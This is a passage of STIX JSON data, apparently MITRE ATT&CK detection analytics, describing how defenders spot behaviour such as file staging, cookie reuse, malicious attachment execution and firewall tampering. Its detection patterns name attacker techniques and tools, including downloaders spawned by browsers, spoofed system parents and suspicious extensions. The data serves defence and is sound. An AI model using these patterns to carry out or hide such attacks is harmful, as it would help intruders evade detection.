                    "field": "LineageMismatchTolerance",
                    "description": "Number of mismatched sources (0\u20133) before alerting to reduce noise."
                },
                {
                    "field": "SensitiveParents",
                    "description": "List of SYSTEM parents that, if spoofed, auto\u2011escalate severity (e.g., lsass.exe, services.exe, wininit.exe)."
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--313de6ca-629b-4f77-b58f-5cf7b490a62e",
            "created": "2025-10-21T15:10:28.402Z",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0014#AN0042",
                    "external_id": "AN0042"
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            "name": "Analytic 0042",
            "description": "Detects files collected into user temp or shared directories followed by compression with ditto, zip, or custom scripts.",
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            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
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                "macOS"
            ],
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71",
                    "name": "macos:unifiedlog",
                    "channel": "file events"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "macos:unifiedlog",
                    "channel": "exec logs"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "CompressionUtilityList",
                    "description": "e.g., 'ditto', 'zip', 'tar'"
                },
                {
                    "field": "SharedDirectoryIndicators",
                    "description": "e.g., /Users/Shared/ or /private/tmp/"
                },
                {
                    "field": "ScriptInvocationContext",
                    "description": "osascript or Terminal automation by non-GUI processes"
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--3154acf3-a5df-40bd-b4bc-3a210b6e5e0e",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0176#AN0501",
                    "external_id": "AN0501"
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            "name": "Analytic 0501",
            "description": "Post-compromise identity & session anomalies that follow a drive-by compromise: token reuse from new/unfamiliar IPs, anomalous sign-in patterns for previously inactive users, unexpected consent/grant events, or provisioning changes. Defender sees an endpoint/browser compromise (network + endpoint signals) followed by unusual IdP events: new refresh token issuance, consent/consent-grant events, odd MFA bypass patterns, or unusual OAuth client registrations.",
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            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Identity Provider"
            ],
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--a953ca55-921a-44f7-9b8d-3d40141aa17e",
                    "name": "azure:signinlogs",
                    "channel": "SignIn: Sign-ins flagged as atypical (new geographic region, unfamiliar device id) shortly after correlated endpoint/browser compromise times"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa",
                    "name": "m365:unified",
                    "channel": "Application Consent grants, new OAuth client registrations, or unusual admin-level activities executed by a user account shortly after suspected drive-by compromise"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--b5d0492b-cda4-421c-8e51-ed2b8d85c5d0",
                    "name": "saas:auth",
                    "channel": "Refresh token issuance or refresh token usage from new IPs or user agents"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--9ce98c86-8d30-4043-ba54-0784d478d0b5",
                    "name": "AWS:CloudTrail",
                    "channel": "ConsoleLogin: If IdP backed by cloud provider, Console login from new IP/agent after correlated endpoint compromise"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "IdpAlertWindow",
                    "description": "Time window to correlate IdP events to endpoint compromise alerts (default 30 minutes to 2 hours)."
                },
                {
                    "field": "HighRiskCountryList",
                    "description": "List of countries/IP zones considered high risk for sign-ins; used to tune geo-anomalies."
                },
                {
                    "field": "DeviceTrustLevel",
                    "description": "Device trust scoring thresholds that influence whether a sign-in is considered suspicious."
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--3166927d-91e4-4e08-bfec-abda2783be8c",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0039#AN0112",
                    "external_id": "AN0112"
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            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 0112",
            "description": "Monitor esxcli and syslog records for DNS resolver changes or repeated queries to unusual external domains by management agents. Detect unauthorized changes to VM or host network settings that redirect DNS lookups.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "ESXi"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a",
                    "name": "esxi:syslog",
                    "channel": "esxcli network vswitch or DNS resolver configuration updates"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "ResolverConfigPaths",
                    "description": "Expected resolvers or DNS forwarders in ESXi configurations"
                },
                {
                    "field": "ExternalDomainWhitelist",
                    "description": "Set of trusted external domains expected for ESXi host activity"
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--3191336e-8cdb-4d41-80a4-aa2ab869f7bf",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0127#AN0356",
                    "external_id": "AN0356"
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            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
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            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 0356",
            "description": "Adversary drops renamed binaries in uncommon directories (e.g., /tmp, /dev/shm) or uses special characters in names (e.g., trailing space, Unicode RLO). Execution or cronjob registration follows shortly after file drop.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Linux"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "auditd:SYSCALL",
                    "channel": "execve"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8",
                    "name": "linux:syslog",
                    "channel": "rename"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5",
                    "name": "linux:osquery",
                    "channel": "file_events"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "DropLocationPattern",
                    "description": "Directories where new binaries are suspicious (e.g., /tmp)"
                },
                {
                    "field": "FilenameAnomalies",
                    "description": "Regex for Unicode/RLO/space abuse in filenames"
                },
                {
                    "field": "ExecutionDelayWindow",
                    "description": "Time range between file write and execution used for joining"
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--31adce9b-8935-4abf-aaf2-0a13047e25e4",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0397#AN1114",
                    "external_id": "AN1114"
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            ],
            "object_marking_refs": [
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            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 1114",
            "description": "Background scripts (e.g., via cron) or daemons transmitting data repeatedly to remote IPs or URLs.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Linux"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "auditd:SYSCALL",
                    "channel": "execve"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba",
                    "name": "NSM:Flow",
                    "channel": "Outbound Connections"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "CronJobInterval",
                    "description": "Tunable time range for recurring tasks seen creating outbound connections."
                },
                {
                    "field": "UserContext",
                    "description": "Tunable for scope \u2014 service accounts vs user accounts."
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--31e4c4dc-3094-45b2-9d4d-1b0bf8311498",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0355#AN1009",
                    "external_id": "AN1009"
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            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 1009",
            "description": "Monitor mail server logs (e.g., Postfix, Sendmail) for excessive connections or inbound message counts targeting a single recipient. Correlate with repetitive attachment storage in /var/mail or /var/spool/mail directories.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Linux"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c",
                    "name": "auditd:SYSCALL",
                    "channel": "File creation events in /var/mail or /var/spool/mail exceeding baseline thresholds"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa",
                    "name": "Application:Mail",
                    "channel": "High-frequency inbound mail activity to a specific recipient address"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "MailVolumeThreshold",
                    "description": "Tunable value for the maximum acceptable emails per minute per user."
                },
                {
                    "field": "AttachmentPatternList",
                    "description": "List of suspicious attachment extensions that may be abused for repetitive delivery."
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--32199f21-430f-4c91-b2d7-a0b7409cd5f0",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0112#AN0314",
                    "external_id": "AN0314"
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            ],
            "object_marking_refs": [
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            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 0314",
            "description": "Detection of modification to ESXi rc.local.d or rc scripts that are used to execute on boot.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "ESXi"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--9f387817-df83-432a-b56b-a8fb7f71eedd",
                    "name": "esxi:vmkernel",
                    "channel": "boot"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8",
                    "name": "esxi:hostd",
                    "channel": "boot"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "ScriptName",
                    "description": "Script path or name may vary across hypervisor versions."
                },
                {
                    "field": "LogSeverity",
                    "description": "Log verbosity settings may alter visibility of activity."
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--3234a537-0ad5-449f-87f4-25fd949c97e7",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0417#AN1174",
                    "external_id": "AN1174"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 1174",
            "description": "Monitor command execution of powercfg.exe with arguments modifying sleep, hibernate, or display timeouts. Abnormal or repeated modifications to power settings outside administrative baselines may indicate persistence attempts. Correlate process creation with registry and system configuration changes to build behavioral chains.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "WinEventLog:Security",
                    "channel": "EventCode=4688"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "AllowedAdminTools",
                    "description": "Whitelist expected administrative scripts that legitimately modify power settings."
                },
                {
                    "field": "TimeWindow",
                    "description": "Correlation period between powercfg.exe invocation and registry/policy changes."
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--3258db60-8500-4935-837c-78b23f2d83d1",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0238#AN0664",
                    "external_id": "AN0664"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 0664",
            "description": "Adversary modifies internal or external site content through manipulated application bundles, hosted content, or web server configs.",
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            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "macOS"
            ],
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                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "macos:unifiedlog",
                    "channel": "Execution of unexpected terminal or web scripts modifying /Library/WebServer/Documents"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8",
                    "name": "macos:unifiedlog",
                    "channel": "File creation or overwrite in common web-hosting folders"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "TargetDirectoryPath",
                    "description": "Web root folders will vary depending on how services are configured on macOS (e.g., /Library/WebServer/Documents)."
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--328d639e-6b8d-400c-9cdd-3c255d343e47",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0294#AN0819",
                    "external_id": "AN0819"
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            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 0819",
            "description": "User opens a file delivered by email, web, chat, or share. The handler application (Word/PDF reader/archiver) creates a file in user-controlled paths (Downloads, Temp, Desktop) and then spawns a new or unusual child process (e.g., powershell.exe, wscript.exe, cmd.exe, regsvr32.exe, rundll32.exe, msiexec.exe). Optional precursors include FileStreamCreated (URL/UNC) and Office \u2192 system32 batch writes.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=11"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=1"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=15"
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            ],
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                {
                    "field": "TimeWindow",
                    "description": "Seconds/minutes to correlate file write to child spawn (e.g., 0\u20135m)."
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                {
                    "field": "SuspiciousExtensions",
                    "description": "Extensions and double-extension patterns to flag (exe,scr,lnk,pif,cpl,js,vbs,bat,cmd,ps1,hta,iso,lnk->cmd,docm,xlsm,pdf->exe, etc.)."
                },
                {
                    "field": "UserPaths",
                    "description": "Paths considered user-controlled (Downloads, Temp, Desktop, profile AppData staging)."
                },
                {
                    "field": "ParentApps",
                    "description": "List of user-facing apps that commonly open attachments for your org (reduce FPs or add weight)."
                },
                {
                    "field": "SignerAllowList",
                    "description": "Trusted code signers/publishers to suppress benign admin tools."
                }
            ],
            "x_mitre_deprecated": false
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            "id": "x-mitre-analytic--32ace35c-66c4-48d7-a8bc-d81c65f4451b",
            "created": "2025-10-21T15:10:28.402Z",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0074#AN0202",
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            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 0202",
            "description": "Session cookie reuse on unmanaged browsers, devices, or client types deviating from user baseline (e.g., switching from Chrome to curl).",
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            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "SaaS"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--ff93f688-d7a4-49cf-9c79-a14454da8428",
                    "name": "m365:unified",
                    "channel": "SessionId reused from different device/browser fingerprint"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--a953ca55-921a-44f7-9b8d-3d40141aa17e",
                    "name": "saas:okta",
                    "channel": "session.impersonation.start"
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            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "BrowserFingerprintMatch",
                    "description": "Tolerance for accepting small differences in user-agent headers"
                },
                {
                    "field": "SessionReuseTimeout",
                    "description": "Time gap threshold between valid session creation and reuse"
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--32b5b330-2a40-4117-8999-395c23490614",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0176#AN0499",
                    "external_id": "AN0499"
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            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 0499",
            "description": "Correlated evidence of browser or webview fetches to uncommon domains or mutated JS resources (proxy/NGFW logs + Zeek/HTTP logs) followed by unexpected interpreters or script engines executing (python, ruby, sh) spawned from browser processes or user sessions, rapid on-disk staging in /tmp, and outbound connections that deviate from baseline. Defender sees: uncommon resource fetch \u2192 short-lived child process executions from user browser context \u2192 file writes in temp directories \u2192 anomalous outbound C2-like connections.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Linux"
            ],
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                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "auditd:SYSCALL",
                    "channel": "execve: execve calls where a browser/webview process is parent and child is interpreter (python, sh, ruby) or downloader (curl, wget)"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa",
                    "name": "linux:syslog",
                    "channel": "Application or browser logs (webview errors, plugin enumerations) indicating suspicious script evaluation or plugin loads"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c",
                    "name": "NSM:Flow",
                    "channel": "http::response: HTTP responses with suspicious content-type for scripts, long obfuscated javascript bodies, or redirects to exploit kit domains"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c",
                    "name": "linux:Sysmon",
                    "channel": "New files in /tmp, /var/tmp, $HOME/.cache, executed within TimeWindow after browser HTTP fetch"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba",
                    "name": "NSM:Connections",
                    "channel": "Outbound connections from newly spawned child processes or from the browser to uncommon endpoints or on anomalous ports"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "TempPathPatterns",
                    "description": "Paths used for staging differ by distro and package manager; tune to include company-specific temp paths or exclude known benign build machines."
                },
                {
                    "field": "UserShellWhitelist",
                    "description": "Whitelist known server/service accounts or CI/CD runners where shell executions are expected."
                },
                {
                    "field": "DomainRarityThreshold",
                    "description": "Threshold for flagging domains based on internal popularity vs global rarity."
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--32ca8e2c-9c1e-4883-aa98-439efbfc76e4",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0438#AN1214",
                    "external_id": "AN1214"
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            ],
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            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 1214",
            "description": "Detects custom archive routines by correlating script execution (Python, Perl, Bash) with creation of high-entropy files in temporary or user directories. Flags processes performing unusual bitwise operations or writing files without standard compression headers.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Linux"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0",
                    "name": "auditd:SYSCALL",
                    "channel": "execve: Execution of interpreters creating archive-like outputs without calling tar/gzip"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c",
                    "name": "auditd:FILE",
                    "channel": "create: Creation of files with anomalous headers and entropy levels in /tmp or user directories"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--d5fca4e4-e47a-487b-873f-3d22f8865e96",
                    "name": "linux:osquery",
                    "channel": "Detection of bitwise operations or custom encryption functions in memory traces"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "ArchivePaths",
                    "description": "Directories monitored for anomalous archive creation (e.g., /tmp, /home)."
                },
                {
                    "field": "EntropyThreshold",
                    "description": "Entropy score to flag files lacking recognizable compression headers."
                },
                {
                    "field": "ScriptAllowlist",
                    "description": "Scripts/processes known to use custom compression methods."
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--32d56b42-ff83-46d2-aeea-57a6958d3e83",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0006#AN0015",
                    "external_id": "AN0015"
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            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 0015",
            "description": "From a defender\u2019s perspective, suspicious bridging is observed when network devices begin allowing traffic that contradicts existing segmentation or access policies. Observable behaviors include sudden modifications to ACLs or firewall rules, unusual cross-boundary traffic flows (e.g., east-west communications across separated VLANs), or simultaneous ingress/egress anomalies. Multi-event correlation is key: configuration changes on a router/firewall followed by unexpected traffic patterns, especially from unusual sources, is a strong indicator of compromise.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Network Devices"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a",
                    "name": "NSM:Flow",
                    "channel": "Unexpected flows between segmented networks or prohibited ports"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c",
                    "name": "networkdevice:syslog",
                    "channel": "ACL/Firewall rule modification or new route injection"
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            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "TimeWindow",
                    "description": "Correlation window between configuration changes and abnormal traffic; tuned to match expected administrative change cycles."
                },
                {
                    "field": "ApprovedChangeList",
                    "description": "Known authorized ACL/firewall changes; suppresses noise from legitimate maintenance."
                },
                {
                    "field": "GeoLocation",
                    "description": "Geographic origin of new traffic patterns; helps distinguish benign remote offices from suspicious foreign access."
                },
                {
                    "field": "TrafficVolumeThreshold",
                    "description": "Volume of cross-segment traffic; tuned to detect large-scale lateral flows without flagging small test connections."
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--32ef36a3-3112-40a1-84d0-323b7b86cb5b",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0118#AN0330",
                    "external_id": "AN0330"
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            ],
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            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 0330",
            "description": "Ties inbound access to exposed services (ARD/VNC 5900, SSH 22, ScreenSharing, web services) with process crashes in unified logs and abnormal child processes spawned under those services (e.g., bash, curl) to indicate exploitation.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "macOS"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa",
                    "name": "macos:unifiedlog",
                    "channel": "process 'crashed'|'EXC_BAD_ACCESS' for sshd, screensharingd, httpd; launchd restarts of these daemons."
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "macos:osquery",
                    "channel": "parent_name in ('sshd','httpd','screensharingd') spawning shells or scripting runtimes."
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c",
                    "name": "NSM:Flow",
                    "channel": "Inbound to 22/5900/8080 and follow-on internal connections."
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "ServicePortSet",
                    "description": "22, 5900, 8080/8443 by default."
                },
                {
                    "field": "AllowedAdmins",
                    "description": "MDM/jump-host IPs allowed to manage endpoints."
                },
                {
                    "field": "TimeWindow",
                    "description": "Default: 10 minutes."
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--3327048a-e90c-47e5-9b67-d2ecaa89523c",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0145#AN0407",
                    "external_id": "AN0407"
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            ],
            "object_marking_refs": [
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            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 0407",
            "description": "Detection of iptables, nftables, or firewalld rule modifications. Correlation of sudden drops in active firewall rules with suspicious processes suggests adversarial evasion.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Linux"
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            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0",
                    "name": "auditd:SYSCALL",
                    "channel": "execve: iptables, nft, firewall-cmd modifications"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "linux:osquery",
                    "channel": "execution of known firewall binaries"
                }
            ],
